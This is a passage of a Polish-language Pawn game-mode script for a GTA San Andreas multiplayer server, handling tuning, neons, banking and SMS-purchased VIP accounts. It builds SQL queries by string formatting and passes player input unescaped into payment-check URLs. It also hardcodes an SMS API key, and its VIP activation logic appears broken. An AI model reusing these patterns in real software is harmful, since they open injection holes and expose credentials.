  4870.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4871.                                         InfoBox(playerid, ""C_O"Losowy tuning został zainstalowany!");
  4872.                                 }
  4873.                                 case 2:
  4874.                                 {
  4875.                                         if(GetPlayerMoney(playerid) < 5000)
  4876.                                                 return SCM(playerid, -1, "Potrzebujesz "C_B"5000$"C_O", żeby to kupić!"), DeletePVar(playerid, "vTune");
  4877.  
  4878.                                         if(TuneVehicle(GetPlayerVehicleID(playerid)) == 0)
  4879.                                         {
  4880.                                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4881.                                                 InfoBox(playerid, ""C_O"Nie jesteś w odpowiednim pojeździe!\n\nDla tego pojazdu nie jest dostępny podstawowy tuning!");
  4882.                                                 return 0;
  4883.                                         }
  4884.                                         PlayerPlaySound(playerid, 1147, 0.0, 0.0, 0.0);
  4885.                                         SCM(playerid, -1, ""C_O"Kupiłeś tuning za "C_B"$5000");
  4886.                                         GivePlayerMoney(playerid, -5000);
  4887.                                         RepairVehicle(GetPlayerVehicleID(playerid));
  4888.                                         return 0;
  4889.                                 }
  4890.                                 case 3:
  4891.                                 {
  4892.                                         switch(GetVehicleModel(GetPlayerVehicleID(playerid)))
  4893.                                         {
  4894.                                                 case 534, 535, 536, 558, 559, 560, 561, 562, 565, 567, 575, 576:
  4895.                                                 {
  4896.                                                         SetPVarInt(playerid, "vTune", 11); // PaintJob
  4897.                                                         return Dialog(playerid, 3309, DIALOG_LIST, "PaintJob ID: 1\nPaintJob ID: 2\nPaintJob ID: 3", "Wybierz", "Anuluj");
  4898.                                                 }
  4899.                                                 default: return InfoBox(playerid, ""C_O"Nie jesteś w odpowiednim pojeździe!\n\nDla tego pojazdu nie jest dostępny PaintJob");
  4900.                                         }
  4901.                                 }
  4902.  
  4903.                                 case 4:
  4904.                                 {
  4905.                                         SetPVarInt(playerid, "vTune", 12);
  4906.                                         return Dialog(playerid, 3309, DIALOG_INPUT, "Podaj numer koloru (0 - 126), -1 da ci losowy kolor pojazdu.", "Wybierz", "Anuluj");
  4907.                                 }
  4908.                                 case 5:
  4909.                                 {
  4910.                                         switch(GetVehicleModel(GetPlayerVehicleID(playerid)))
  4911.                                         {
  4912.                                                 case 523, 537, 538, 539, 548, 553, 563, 564, 569, 570, 577, 578, 581, 584, 586, 590, 591, 592,
  4913.                                                 593, 594, 595, 606, 607, 608, 610, 611, 417, 426, 430, 435, 446, 447, 448, 449, 450, 452,
  4914.                                                 453, 454, 460, 461, 462, 463, 464, 465, 468, 469, 472, 473, 476, 481, 487, 488, 493, 497,
  4915.                                                 501, 509, 510, 511, 512, 513, 519, 520, 521, 522:
  4916.                                                 return InfoBox(playerid, ""C_O"Nie jesteś w odpowiednim pojeździe!\n\nDla tego pojazdu nie są dostępne felgi");
  4917.  
  4918.                                                 default:
  4919.                                                 {
  4920.                                                         bstrx = "";
  4921.                                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4922.                                                         for(new w; w != sizeof wheels_info; w++)
  4923.                                                                 format(bstrx, sizeof bstrx, "%s* %s\n", bstrx, wheels_info[w][wName]);
  4924.                                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4925.                                                         SetPVarInt(playerid, "vTune", 13);
  4926.                                                         return Dialog(playerid, 3309, DIALOG_LIST, bstrx, "Wybierz", "Anuluj");
  4927.  
  4928.                                                 }
  4929.                                         }
  4930.                                 }
  4931.                                 case 6:
  4932.                                 {
  4933.                                         if(HydraulicVehicle(GetPlayerVehicleID(playerid)))
  4934.                                         {
  4935.                                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4936.                                                 SetPVarInt(playerid, "vTune", 14);
  4937.                                                 return Dialog(playerid, 3309, DIALOG_BOX, "Zamontuj Hydraulikę!", "Zamontuj", "Wymontuj");
  4938.                                         }else return  InfoBox(playerid, ""C_O"Nie jesteś w odpowiednim pojeździe!\n\nDla tego pojazdu nie jest dostępna Hydraulika");
  4939.                                 }
  4940.                                 case 7:
  4941.                                 {
  4942.                                         cmd_neon(playerid, " ");
  4943.                                 }
  4944.                                 case 8:
  4945.                                 {
  4946.                                         cmd_pobject(playerid, " ");
  4947.                                 }
  4948.                         }
  4949.                         return 1;
  4950.                 }
  4951.                 case 50:
  4952.                 {
  4953.                         if(!response) return 1;
  4954.  
  4955.                         cmd_v(playerid, inputtext);
  4956.                 }
  4957.                 case 2565:
  4958.                 {
  4959.                         if(!response) return 1;
  4960.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4961.                         switch(listitem)
  4962.                         {
  4963.                                 case 0: Dialog(playerid, 2566, DIALOG_LIST, "Metalowa blacha\nBetonowy wyskok\nParę desek\nParę desek na skałach\nMała rampa kaskaderska\nDuża rampa kaskaderska\nPodwójna rampa kaskaderska\nOgromna rampa kaskaderska\nSkateboard ramp\nWielka, stara rampa", "Ustaw", "Anuluj");
  4964.                                 case 1: Dialog(playerid, 2567, DIALOG_BOX, "Wybierz czy chcesz aby rampy pod klawiszem CTRL były włączone czy wyłączone.", "Włącz", "Wyłącz");
  4965.                         }
  4966.                 }
  4967.                 case 2566:
  4968.                 {
  4969.                         if(!response) return 1;
  4970.                         pRamp[playerid][1] = listitem;
  4971.                         SCM(playerid, -1,""C_O"Zmieniłeś typ rampy");
  4972.                         format(strx, sizeof strx, "UPDATE `players` SET `ramp` = '%d' WHERE `nick` = '%s'", listitem, pName[playerid]);
  4973.                         mysql_query(strx);
  4974.  
  4975.                 }case 2567:
  4976.                 {
  4977.                         if(!response) SCM(playerid, -1, "{FF0000}Wyłączyłeś rampy.");
  4978.                         else SCM(playerid, -1, ""C_O"Włączyłeś rampy.");
  4979.  
  4980.                         pRamp[playerid][0] = response;
  4981.  
  4982.                 }
  4983.                 case 8131:
  4984.                 {
  4985.                         if(!response || !IsPlayerInAnyVehicle(playerid)) return 1;
  4986.  
  4987.                         new vid = GetPlayerVehicleID(playerid);
  4988.                         DestroyNeon(vid);
  4989.                         if(listitem == 12) return 1;
  4990.  
  4991.                         switch(listitem)
  4992.                         {
  4993.                                 case 0:
  4994.                                 {
  4995.                                         vNeon[vid][0] = CreateObject(18648,0,0,0,0,0,0, 100.0);
  4996.                                         vNeon[vid][1] = -1;
  4997.                                 }
  4998.                                 case 1:
  4999.                                 {
  5000.                                         vNeon[vid][0] = CreateObject(18647,0,0,0,0,0,0, 100.0);
  5001.                                         vNeon[vid][1] = -1;
  5002.                                 }
  5003.                                 case 2:
  5004.                                 {
  5005.                                         vNeon[vid][0] = CreateObject(18649,0,0,0,0,0,0, 100.0);
  5006.                                         vNeon[vid][1] = -1;
  5007.                                 }
  5008.                                 case 3:
  5009.                                 {
  5010.                                         vNeon[vid][0] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  5011.                                         vNeon[vid][1] = -1;
  5012.                                 }
  5013.                                 case 4:
  5014.                                 {
  5015.                                         vNeon[vid][0] = CreateObject(18651,0,0,0,0,0,0, 100.0);
  5016.                                         vNeon[vid][1] = -1;
  5017.                                 }
  5018.                                 case 5:
  5019.                                 {
  5020.                                         vNeon[vid][0] = CreateObject(18650,0,0,0,0,0,0, 100.0);
  5021.                                         vNeon[vid][1] = -1;
  5022.                                 }
  5023.                                 case 6:
  5024.                                 {
  5025.                                         vNeon[vid][0] = CreateObject(18648,0,0,0,0,0,0, 100.0);
  5026.                                         vNeon[vid][1] = CreateObject(18649,0,0,0,0,0,0, 100.0);
  5027.                                 }
  5028.                                 case 7:
  5029.                                 {
  5030.                                         vNeon[vid][0] = CreateObject(18648,0,0,0,0,0,0, 100.0);
  5031.                                         vNeon[vid][1] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  5032.                                 }
  5033.                                 case 8:
  5034.                                 {
  5035.                                         vNeon[vid][0] = CreateObject(18647,0,0,0,0,0,0, 100.0);
  5036.                                         vNeon[vid][1] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  5037.                                 }
  5038.                                 case 9:
  5039.                                 {
  5040.                                         vNeon[vid][0] = CreateObject(18647,0,0,0,0,0,0, 100.0);
  5041.                                         vNeon[vid][1] = CreateObject(18650,0,0,0,0,0,0, 100.0);
  5042.  
  5043.                                 }
  5044.                                 case 10:
  5045.                                 {
  5046.                                         vNeon[vid][0] = CreateObject(18649,0,0,0,0,0,0, 100.0);
  5047.                                         vNeon[vid][1] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  5048.  
  5049.                                 }
  5050.                                 case 11:
  5051.                                 {
  5052.                                         vNeon[vid][0] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  5053.                                         vNeon[vid][1] = CreateObject(18650,0,0,0,0,0,0, 100.0);
  5054.                                 }
  5055.                         }
  5056.  
  5057.                         if(vNeon[vid][1] != -1)
  5058.                                 AttachObjectToVehicle(vNeon[vid][1], vid, 0.0, 0.0, -0.70, 0.0, 0.0, 0.0);
  5059.  
  5060.                         AttachObjectToVehicle(vNeon[vid][0], vid, 0.0, 0.0, -0.70, 0.0, 0.0, 0.0);
  5061.                         SCM(playerid, -1, ""C_O"Neon został zainstalowany.");
  5062.  
  5063.                 }
  5064.                 case 232:
  5065.                 {
  5066.                         if(!response) return TogglePlayerControllable(playerid, 1);
  5067.  
  5068.                         switch(listitem)
  5069.                         {
  5070.                                 case 0:
  5071.                                 {
  5072.                                         new bank[11], ip[20];
  5073.                                         format(strx, sizeof strx, "SELECT `bank`, `ip` FROM `players` WHERE `nick`='%s'", pName[playerid]);
  5074.                                         mysql_query(strx);
  5075.                                         mysql_store_result();
  5076.  
  5077.                                         mysql_fetch_field("bank", bank);
  5078.                                         mysql_fetch_field("ip", ip);
  5079.  
  5080.                                         mysql_free_result();
  5081.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5082.                                         format(strx, sizeof strx, ""C_O"Stan konta:"C_B" %s$\n"C_O"Ostatnia zmiana zrobiona z IP:"C_B" %s", bank, ip);
  5083.                                         Dialog(playerid, 233, DIALOG_BOX, strx, "Powrót", "Zamknij");
  5084.                                         return 1;
  5085.                                 }
  5086.                                 case 1:
  5087.                                 {
  5088.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5089.                                         Dialog(playerid, 234, DIALOG_INPUT, ""C_O"Wpisz kwotę, którą chcesz wpłacić:","Wpłać","Anuluj");
  5090.                                 }
  5091.                                 case 2:
  5092.                                 {
  5093.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5094.                                         Dialog(playerid, 235, DIALOG_INPUT, ""C_O"Wpisz kwotę, którą chcesz wypłacić:","Wypłać","Anuluj");
  5095.                                 }
  5096.                                 case 3:
  5097.                                 {
  5098.                                         format(strx, sizeof strx, "UPDATE `players` SET `bank` = `bank` + '%d' WHERE `nick` = '%s'", GetPlayerMoney(playerid), pName[playerid]);
  5099.                                         mysql_query(strx);
  5100.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5101.                                         SetPlayerMoney(playerid, 0);
  5102.                                         Dialog(playerid, 232, DIALOG_LIST, "Stan konta\nWpłać\nWypłać\nWpłać wszystko\nWypłać wszystko", "Wybierz", "Zamknij");
  5103.                                 }
  5104.                                 case 4:
  5105.                                 {
  5106.                                         new bank[11];
  5107.                                         format(strx, sizeof strx, "SELECT `bank` FROM `players` WHERE `nick` = '%s'", pName[playerid]);
  5108.                                         mysql_query(strx);
  5109.                                         mysql_store_result();
  5110.                                         mysql_fetch_field("bank", bank);
  5111.                                         mysql_free_result();
  5112.  
  5113.                                         if(strval(bank) > 0)
  5114.                                         {
  5115.                                                 GivePlayerMoney(playerid, strval(bank));
  5116.                                                 format(strx, sizeof strx, "UPDATE `players` SET `bank` = '0' WHERE `nick` = '%s'", pName[playerid]);
  5117.                                                 mysql_query(strx);
  5118.                                         }
  5119.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5120.                                         Dialog(playerid, 232, DIALOG_LIST, "Stan konta\nWpłać\nWypłać\nWpłać wszystko\nWypłać wszystko", "Wybierz", "Zamknij");
  5121.                                 }
  5122.                         }
  5123.                         return 1;
  5124.                 }
  5125.                 case 233:
  5126.                 {
  5127.                         if(!response) return TogglePlayerControllable(playerid, 1);
  5128.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5129.                         Dialog(playerid, 232, DIALOG_LIST, "Stan konta\nWpłać\nWypłać\nWpłać wszystko\nWypłać wszystko", "Wybierz", "Zamknij");
  5130.                         return 1;
  5131.                 }
  5132.                 case 234:
  5133.                 {
  5134.                         if(!response)
  5135.                                 return Dialog(playerid, 232, DIALOG_LIST, "Stan konta\nWpłać\nWypłać\nWpłać wszystko\nWypłać wszystko", "Wybierz", "Zamknij");
  5136.  
  5137.                         if(GetPlayerMoney(playerid) < strval(inputtext) || strval(inputtext) <= 0)
  5138.                                 return Dialog(playerid, 234, DIALOG_INPUT, "Nie masz tyle gotowki lub wpisana kwota jest nieprawidłowa!\n\n"C_O"Wpisz kwotę, którą chcesz wpłacić:","Wpłać","Anuluj");
  5139.  
  5140.                         GivePlayerMoney(playerid, strval(inputtext) * -1);
  5141.                         format(strx, sizeof strx, "UPDATE `players` SET `bank` = `bank` + '%d' WHERE `nick` = '%s'", strval(inputtext), pName[playerid]);
  5142.                         mysql_query(strx);
  5143.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5144.                         Dialog(playerid, 232, DIALOG_LIST, "Stan konta\nWpłać\nWypłać\nWpłać wszystko\nWypłać wszystko\n", "Wybierz", "Zamknij");
  5145.                         return 1;
  5146.                 }
  5147.                 case 235:
  5148.                 {
  5149.                         if(!response)
  5150.                                 return Dialog(playerid, 232, DIALOG_LIST, "Stan konta\nWpłać\nWypłać\nWpłać wszystko\nWypłać wszystko\n", "Wybierz", "Zamknij");
  5151.  
  5152.                         new bank[11];
  5153.                         format(strx, sizeof strx, "SELECT `bank` FROM `players` WHERE `nick` = '%s'", pName[playerid]);
  5154.                         mysql_query(strx);
  5155.                         mysql_store_result();
  5156.                         mysql_fetch_field("bank", bank);
  5157.                         mysql_free_result();
  5158.  
  5159.                         if(strval(bank) < strval(inputtext) || strval(inputtext) <= 0)
  5160.                                 return Dialog(playerid, 234, DIALOG_INPUT, "Nie ma tyle pieniędzy w banku lub wpisana kwota jest nieprawidłowa!\n\n"C_O"Wpisz kwotę, którą chcesz wypłacić:","Wpłać","Anuluj");
  5161.  
  5162.                         GivePlayerMoney(playerid, strval(inputtext));
  5163.                         format(strx, sizeof strx, "UPDATE `players` SET `bank` = `bank` - '%d' WHERE `nick` = '%s'", strval(inputtext), pName[playerid]);
  5164.                         mysql_query(strx);
  5165.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5166.                         Dialog(playerid, 232, DIALOG_LIST, "Stan konta\nWpłać\nWypłać\nWpłać wszystko\nWypłać wszystko\n", "Wybierz", "Zamknij");
  5167.                         return 1;
  5168.                 }
  5169.                 case 753:
  5170.                 {
  5171.                         if(response) return 1;
  5172.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5173.                         format(bstrx, sizeof bstrx, ""C_O"Kupujesz, bądź przedłużasz konto VIP na/o "C_B"31"C_O" dni\n\n");
  5174.                         format(bstrx, sizeof bstrx, "%sWyślij SMS o treści "C_B"AA.SP"C_O" na numer "C_B"7455"C_O"(koszt: "C_B"4,92 "C_O"zł brutto)\n\n", bstrx);
  5175.                         strcat(bstrx, "W razie pytań zapraszamy na forum "C_B"www.TOP.xaa.pl\n");
  5176.                         Dialog(playerid, 756, DIALOG_INPUT, bstrx, "Kup", "Zamknij");
  5177.                 }
  5178.                 case 754:
  5179.                 {
  5180.                         if(!response) return 1;
  5181.  
  5182.                         SetPVarInt(playerid, "vipSMS", listitem);
  5183.                         new vip[30];
  5184.                         format(strx, sizeof strx, "SELECT `vip` FROM `players` WHERE `nick`='%s'", pName[playerid]);
  5185.                         mysql_query(strx);
  5186.                         mysql_store_result();
  5187.                         mysql_fetch_field("vip", vip);
  5188.                         mysql_free_result();
  5189.  
  5190.                         switch(listitem)
  5191.                         {
  5192.                                 case 1..8:
  5193.                                 {
  5194.                                         if(vip[0] != '@')
  5195.                                         {
  5196.  
  5197.                                                 new number[] = {-1,7136,7255,7355,7455,7555,7636,7936};
  5198.                                                 new amount[] = {0,4,8,20,30,50,65,80};
  5199.                                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5200.                                                 format(bstrx, sizeof bstrx, ""C_O"Kupujesz, bądź przedłużasz konto VIP na/o "C_B"31"C_O" dni\n\n", amount[listitem]);
  5201.                                                 format(bstrx, sizeof bstrx, "%sWyślij SMS o treści "C_B"AA.SP"C_O" na numer "C_B"7636"C_O"\n\n", bstrx, number[listitem]);
  5202.                                                 strcat(bstrx, "W razie pytań zapraszamy na forum "C_B"www.TOP.xaa.pl\n");
  5203.                                                 Dialog(playerid, 755, DIALOG_INPUT, bstrx, "KUP", "Anuluj");
  5204.  
  5205.                                         }
  5206.                                         else
  5207.                                         {
  5208.                                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5209.                                                 InfoBox(playerid, ""C_O"Ten rodzaj konta VIP możesz kupić dopiero po wykorzystaniu aktualnego.");
  5210.                                                 return 1;
  5211.                                         }
  5212.                                 }
  5213.                                 case 9:
  5214.                                 {
  5215.                                         if(Vip[playerid])
  5216.                                         {
  5217.                                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5218.                                                 InfoBox(playerid, ""C_O"Ten rodzaj konta VIP możesz kupić dopiero po wykorzystaniu aktualnego.");
  5219.                                                 return 1;
  5220.                                         }
  5221.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5222.                                         format(bstrx, sizeof bstrx, ""C_O"Kupujesz, bądź przedłużasz konto VIP na/o "C_B"dwa miesiące"C_O", czyli "C_B"61 "C_O"dni\nPamiętaj, że w tym rodzaju konta nie jest brana pod uwagę przegrana ilość czasu.\n\n");
  5223.                                         strcat(bstrx, "Wyślij SMS o treści "C_B"AA.SP"C_O" na numer "C_B"7455"C_O"\n\n");
  5224.                                         strcat(bstrx, "W razie pytań zapraszamy na forum "C_B"www.TOP.xaa.pl\n");
  5225.                                         Dialog(playerid, 755, DIALOG_INPUT, bstrx, "KUP", "Anuluj");
  5226.                                 }
  5227.                                 case 10:
  5228.                                 {
  5229.                                         if(Vip[playerid])
  5230.                                         {
  5231.                                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5232.                                                 InfoBox(playerid, ""C_O"Ten rodzaj konta VIP możesz kupić dopiero po wykorzystaniu aktualnego.");
  5233.                                                 return 1;
  5234.                                         }
  5235.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5236.                                         format(bstrx, sizeof bstrx, ""C_O"Kupujesz konto VIP na "C_B"miesiąc"C_O", czyli "C_B"30 "C_O"dni\nPamiętaj, że w tym rodzaju konta nie jest brana pod uwagę przegrana ilość czasu.\n\n");
  5237.                                         strcat(bstrx, "Wyślij SMS o treści {FFFF00}AA.SP"C_O" na numer "C_B"7936"C_O"\n\n");
  5238.                                         strcat(bstrx, "W razie pytań zapraszamy na forum "C_B"Polski TOP Serwer\n");
  5239.                                         Dialog(playerid, 756, DIALOG_INPUT, bstrx, "KUP", "Anuluj");
  5240.  
  5241.                                 }
  5242.                         }
  5243.                 }
  5244.                 case 756:
  5245.                 {
  5246.                         if(!response) return 1;
  5247.  
  5248.                         new id = GetPVarInt(playerid, "vipSMS");
  5249.                         if(id != 9 && id != 10)
  5250.                         {
  5251.                                 format(strx, sizeof strx, "SELECT `vip` FROM `players` WHERE `nick` = '%s'", pName[playerid]);
  5252.                                 mysql_query(strx);
  5253.                                 mysql_store_result();
  5254.                                 new vip[30];
  5255.                                 mysql_fetch_field("vip", vip);
  5256.                                 mysql_free_result();
  5257.                                 SetPVarInt(playerid, "vipActiv", strval(vip));
  5258.                         }
  5259.                         #define SMS_API "1d5e1ed2d661be18861403d5d"
  5260.                         new reqUrl[255];
  5261.                         format(reqUrl, 255, "admin.serverproject.pl/api/smsapi.php?key=%s&amount=4&code=%s", SMS_API, inputtext);
  5262.                         HTTP(playerid, HTTP_GET, reqUrl, "", "checkVIPCode");
  5263.                 }
  5264.                 case 755:
  5265.                 {
  5266.                         if(!response) return 1;
  5267.  
  5268.                         if(strlen(inputtext) < 5) return InfoBox(playerid, "{FFFFFF}Niepoprawny telekod.");
  5269.  
  5270.                         new id = GetPVarInt(playerid, "vipSMS");
  5271.                         if(id != 9 && id != 10)
  5272.                         {
  5273.                                 format(strx, sizeof strx, "SELECT `lol` FROM `players` WHERE `nick` = '%s'", pName[playerid]);
  5274.                                 mysql_query(strx);
  5275.                                 mysql_store_result();
  5276.                                 new vip[30];
  5277.                                 mysql_fetch_field("vip", vip);
  5278.                                 mysql_free_result();
  5279.                                 SetPVarInt(playerid, "vipActiv", strval(vip));
  5280.                         }
  5281.                         format(strx, sizeof strx, "exgame.pl/checkcode.php?t=%d&nick=%s&code=%s", id, pName[playerid], inputtext);
  5282.                         HTTP(playerid, HTTP_GET,  strx, "", "HTTP_F");
  5283.                         InfoBox(playerid, "\nWeryfikacja kodu...\n");
  5284.                         SetTimerEx("ActivateVIP", 8000, 0, "d", playerid);
  5285.                 }
  5286.         }
  5287.         return 1;
  5288. }
  5289.  
  5290. forward checkVIPCode(playerid, response_code, data[]);
  5291. public checkVIPCode(playerid, response_code, data[])
  5292. {
  5293.     if(response_code != 200)
  5294.         {
  5295.         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5296.                 InfoBox(playerid, ""C_B"Wystąpił błąd z serwerem!");
  5297.                 return 0;
  5298.         }
  5299.         if(strfind(data,"ok",false) != -1)
  5300.         {
  5301.         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5302.                 InfoBox(playerid, ""C_O"Kod jest poprawny, konto "C_B"VIP "C_O"przyznane, wejdź jeszcze raz na serwer.");
  5303.                 SetPVarInt(playerid, "VIP", 1);
  5304.                 if(Vip[playerid] == false)
  5305.                 mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'vips'");
  5306.                 new str[170];
  5307.                 format(str,sizeof str,"Update players SET vip = IF(vip>NOW(), vip, NOW())+INTERVAL 31 DAY WHERE nick='%s' LIMIT 1",pName[playerid]);
  5308.                 mysql_query(str);
  5309.                 return 1;
  5310.         }
  5311.         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  5312.         InfoBox(playerid, ""C_B"Wprowadzony kod jest niepoprawny!");
  5313.     return 0;
  5314. }
  5315. forward HTTP_A(index, response_code, data[]);
  5316. public HTTP_A(index, response_code, data[])
  5317. {
  5318.         Ananas = strval(data);
  5319.     AnnOFF = 1;
  5320.         return 1;
  5321. }
  5322. forward HTTP_F(index, response_code, data[]);
  5323. public HTTP_F(index, response_code, data[])
  5324. {
  5325.         printf("HTTPVIP: %s | %d | %s", pName[index], response_code, data);
  5326.         return 1;
  5327. }
  5328.  
  5329. forward ActivateVIP(playerid);
  5330. public ActivateVIP(playerid)
  5331. {
  5332.         new id = GetPVarInt(playerid, "vipSMS");
  5333.         format(strx, sizeof strx, "SELECT `lol` FROM `players` WHERE `nick` = '%s'", pName[playerid]);
  5334.         mysql_query(strx);
  5335.         mysql_store_result();
  5336.         new vip[30];
  5337.         mysql_fetch_field("vip", vip);
  5338.         mysql_free_result();
  5339.  
  5340.         if(id == 9)
  5341.         {
  5342.                 if(IsNumeric(vip))
  5343.                 {
  5344.                         InfoBox(playerid, "Nieprawidłowy telekod! Spróbuj wpisać kod jeszcze raz!");
  5345.                 }else
  5346.                 {
  5347.                         InfoBox(playerid, "Konto VIP zostało przyznane!");
  5348.                         SetPVarInt(playerid, "VIP", 1);
  5349.                         mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'lol'");
  5350.                 }
  5351.         }else{
  5352.             if(strval(vip) == 0 || strval(vip) <= GetPVarInt(playerid, "vipActiv"))
  5353.             {
  5354.                 InfoBox(playerid, "Nieprawidłowy telekod! Spróbuj wpisać kod jeszcze raz!");
  5355.             }else
  5356.             {
  5357.                 InfoBox(playerid, "Konto VIP zostało przyznane!");
  5358.                         SetPVarInt(playerid, "VIP", 1);
  5359.                         mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'lol'");
  5360.             }
  5361.         }
  5362.     return 1;
  5363. }
  5364. AllowCommand(cmd[])
  5365. {
  5366.         if(!strcmp(cmd, "/ban", true, 4)) return 1;
  5367.         if(!strcmp(cmd, "/kill", true, 5)) return 1;
  5368.         if(!strcmp(cmd, "/exitdm", true, 7)) return 1;
  5369.         if(!strcmp(cmd, "/kick", true, 5)) return 1;
  5370.         if(!strcmp(cmd, "/mute", true, 5)) return 1;
  5371.         if(!strcmp(cmd, "/jail", true, 5)) return 1;
  5372.         if(!strcmp(cmd, "/unfreeze", true, 9)) return 1;
  5373.         if(!strcmp(cmd, "/freeze", true, 7)) return 1;
  5374.         if(!strcmp(cmd, "/giveweapon", true, 11)) return 1;
  5375.         if(!strcmp(cmd, "/sethp", true, 6)) return 1;
  5376.         if(!strcmp(cmd, "/setarmor", true, 9)) return 1;
  5377.         if(!strcmp(cmd, "/raport", true, 7)) return 1;
  5378.         if(!strcmp(cmd, "/report", true, 7)) return 1;
  5379.         if(!strcmp(cmd, "/pm", true, 3)) return 1;
  5380.         if(!strcmp(cmd, "/resrace", true, 8)) return 1;
  5381.         if(!strcmp(cmd, "/exitrace", true, 9)) return 1;
  5382.         if(!strcmp(cmd, "/exittruck", true, 10)) return 1;
  5383.         if(!strcmp(cmd, "/lock", true, 5)) return 1;
  5384.         if(!strcmp(cmd, "/unlock", true, 7)) return 1;
  5385.         if(!strcmp(cmd, "/dzien", true, 6)) return 1;
  5386.         if(!strcmp(cmd, "/noc", true, 4)) return 1;
  5387.         if(!strcmp(cmd, "/skin", true, 5)) return 1;
  5388.         if(!strcmp(cmd, "/explode", true, 8)) return 1;
  5389.         if(!strcmp(cmd, "/rozladuj", true, 9)) return 1;
  5390.         if(!strcmp(cmd, "/reg", true, 4)) return 1;
  5391.         if(!strcmp(cmd, "/serwer", true, 7)) return 1;
  5392.         if(!strcmp(cmd, "/pw", true, 3)) return 1;
  5393.         if(!strcmp(cmd, "/pmoff", true, 6)) return 1;
  5394.         if(!strcmp(cmd, "/pmon", true, 5)) return 1;
  5395.         if(!strcmp(cmd, "/eye", true, 4)) return 1;
  5396.         if(!strcmp(cmd, "/pmeye", true, 6)) return 1;
  5397.         if(!strcmp(cmd, "/getweapon", true, 10)) return 1;
  5398.         if(!strcmp(cmd, "/givejetpack", true, 12)) return 1;
  5399.         if(!strcmp(cmd, "/cb", true, 3)) return 1;
  5400.         if(!strcmp(cmd, "/tune", true, 5)) return 1;
  5401.         if(!strcmp(cmd, "/me", true, 3)) return 1;
  5402.         return 0;
  5403. }
  5404.  
  5405. public OnPlayerCommandReceived(playerid, cmdtext[])
  5406. {
  5407.         if(GetPlayerState(playerid) == PLAYER_STATE_WASTED)
  5408.             return 0;
  5409.  
  5410.     if(GetPVarInt(playerid, "pJailed") == 1)
  5411.         {
  5412.             SCM(playerid, 0xFFFFFFFF, "Jesteś w więzieniu! Tutaj nie możesz korzystać z komend!");
  5413.             return 0;
  5414.         }
  5415.         if(pAFK[playerid] != 0 && strcmp(cmdtext, "/jj", true) != 0)
  5416.         {
  5417.                 SCM(playerid, 0xFFFFFFFF, "Wpisz "C_B"/jj"C_O", aby aktywować działania na serwerze.");
  5418.                 return 0;
  5419.         }
  5420.         if(pInFun[playerid] == 1 && GetPlayerVirtualWorld(playerid) != 0 && AllowCommand(cmdtext) == 0)
  5421.         {
  5422.             SCM(playerid, 0xFFFFFFFF, "Nie możesz teraz korzystać z komend!");
  5423.             return 0;
  5424.         }
  5425.         if(GetPVarInt(playerid, "RacePlayer") == 1 && AllowCommand(cmdtext) == 0)
  5426.         {
  5427.             SCM(playerid, 0xFFFFFFFF, "Nie możesz korzystać z komend podczas wyścigu!");
  5428.             return 0;
  5429.         }
  5430.         if(IsPlayerInDM(playerid) && AllowCommand(cmdtext) == 0)
  5431.         {
  5432.             SCM(playerid, 0xFFFFFFFF, "Nie możesz korzystać z komend w strefie DM! Wpisz "C_B"/exitdm"C_O" aby wyjść");
  5433.             return 0;
  5434.         }
  5435.  
  5436.         return 1;
  5437. }
  5438.  
  5439. public OnPlayerCommandPerformed(playerid, cmdtext[], success)
  5440. {
  5441.         if(!success)
  5442.         {
  5443.             new str[1000];
  5444.             format(str, sizeof str, ""C_O"Podana przez Ciebie komenda "C_B"%s "C_O"nie istnieje. Zapoznaj się z komendami!", cmdtext);
  5445.                 ShowPlayerDialog(playerid, 31, DIALOG_STYLE_MSGBOX, "{EAB171}Błąd!", str, "Pomoc", "");
  5446.         return 1;
  5447.         }else if(strcmp(cmdtext,"/pm", true, 3) != 0)
  5448.         {
  5449.                 format(strx, sizeof strx, "%s (%d): %s", pName[playerid], playerid, cmdtext);
  5450.                 WriteLog(strx);
  5451.         format(strx, sizeof strx, "[EYE]:{DD0000} %s >> %s", pName[playerid], cmdtext);
  5452.                 pLoop(i)
  5453.                 {
  5454.                     if((i) && i != playerid && GetPVarInt(i, "eye") == 1) SCM(i, 0xBB0000FF, strx);
  5455.                 }
  5456.         }
  5457.         return 1;
  5458. }
  5459.  
  5460. forward HTTP_AC(index, response_code, data[]);
  5461. public HTTP_AC(index, response_code, data[])
  5462. {
  5463.         AnnOFF = strval(data);
  5464.         Ananas = 1;
  5465.         return 1;
  5466. }
  5467.  
